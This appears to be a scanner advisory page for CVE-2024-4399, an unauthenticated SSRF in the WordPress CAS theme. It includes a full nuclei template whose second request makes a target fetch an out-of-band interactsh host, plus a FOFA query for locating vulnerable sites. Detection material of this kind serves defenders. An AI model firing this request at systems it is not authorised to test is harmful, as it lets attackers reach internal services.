WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery

criticalseverity

9.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.

Impact

Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.

Fix

Update CAS WordPress theme to a version later than 1.0.0 that patches the SSRF vulnerability.

How to confirm it

Send: GET /
Positive when: contains "themes/cas"
Send: GET /wp-content/themes/cas/get_remote_data.php?url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2024-4399 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-4399

info:
  name: WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.
  remediation: |
    Update CAS WordPress theme to a version later than 1.0.0 that patches the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0690327e-da60-4d71-8b3c-ac9533d82302
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-4399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-4399
    cwe-id: CWE-918
    epss-score: 0.01821
    epss-percentile: 0.78932
  metadata:
    max-request: 2
    product: cas
    fofa-query: body="wp-content/themes/cas/"
  tags: cve,cve2024,wp,wordpress,wp-theme,ssrf,cas,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "themes/cas"
        internal: true

  - raw:
      - |
        GET /wp-content/themes/cas/get_remote_data.php?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from